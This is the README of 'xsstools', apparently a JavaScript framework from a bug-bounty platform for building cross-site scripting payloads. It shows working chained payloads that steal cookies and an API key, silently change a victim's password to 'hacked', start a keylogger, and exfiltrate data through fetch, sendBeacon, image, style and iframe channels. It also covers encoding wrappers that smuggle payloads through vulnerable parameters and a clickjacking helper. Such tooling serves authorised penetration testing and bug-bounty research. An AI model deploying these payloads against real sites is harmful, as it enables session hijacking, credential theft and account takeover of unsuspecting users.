xsstools is an xss development frameworks, with the goal of making payload writing easier.
<script type="module">
import {Exfiltrators, Payload, Wrapper, utils} from "./xsstools.min.js"
const exfiltrator = Exfiltrators.message()
const payload = Payload.new()
.addExfiltrator(exfiltrator)
.eval(() => document.cookie)
.exfiltrate()
.fetchDOM("/user/me")
.querySelector("input[name='apikey']", 'value')
.exfiltrate()
.postUrlEncoded("/user/changePassword", {"password": "hacked"})
const wrapper = Wrapper.new()
.evalB64()
.svgLoad()
.iframe()
const exploit = wrapper.wrap(payload)
const target = "https://vulnerable.domain", {"vulnerableParam": exploit}
window.open(target)
</script>A collection of exfiltrators is available
- message: use postMessage
- get: use fetch GET
- post: use fetch POST urlencoded
- postJSON: use fetch POST json encoded
- sendBeacon: use navigator.sendBeacon
- console: for debugging, simply use console.log
- img: create an img tag to exfiltrate via GET
- style: create a style tag to exfiltrate via GET
- iframe: create an iframe tag to exfiltrate via GET
https://yeswehack.github.io/xsstools/Exfiltrators.html
Use the payload generator to quickly create powerfull payloads
const Payload.new()
.addExfiltrator(exfiltrator)
.startKeyLogger()
.fetchJSON("/api/user/me")
.eval(r => r.email)
.exfiltrate()https://yeswehack.github.io/xsstools/Payload.html
Wrap your payload using one of the many available wrappers without worrying about encoding.
const wapper = Wrapper.new()
.minify()
.templateString()
.imgLoad()
.innerHTML()
.script()
.iframe()
const payload = wrapper.wrap("alert(1)")
consoloe.log(payload)https://yeswehack.github.io/xsstools/Wrapper.html
Writing clickjacking code can be tedious, with xss tools you only need to supply the position of the targeted element.
const cj = new ClickJacker(url)
cj.addStep({x: 42, y: 34, width: 64, height: 35})
await cj.run()https://yeswehack.github.io/xsstools/ClickJacker.html
You can find the bounding box interactively using this code
(()=>{function e(e){e.classList.remove(o),l?e.onclick=l:c.removeEventListener("click",n)}function t({clientX:t,clientY:i}){const d=document.elementFromPoint(t,i);d!=c&&(d.classList.add(o),c&&e(c),d.onclick?(l=d.onclick,d.onclick=n):(l=null,d.addEventListener("click",n,{once:!0})),c=d)}function n(n){n.preventDefault(),n.stopPropagation();let{x:o,y:i,height:c,width:l}=n.target.getBoundingClientRect();[o,i,c,l]=[o,i,c,l].map(e=>+e.toFixed(2)),window.prompt("Bounding box",JSON.stringify({x:o,y:i,height:c,width:l})),e(n.target),window.removeEventListener("mousemove",t)}const o="xxx-selected",i=document.createElement("style");i.innerText=`.${o} {box-shadow: 0 0 0 1px red inset, 0 0 0 1px red;}`;let c=null,l=null;window.addEventListener("mousemove",t),document.body.appendChild(i)})();You can read the documentation here: https://yeswehack.github.io/xsstools
Or generate it locally using yarn docs
A more complete example with a simple template page is available in /example
If you want to know which payload is compatible with your targeted browser you can run the test suite in /test.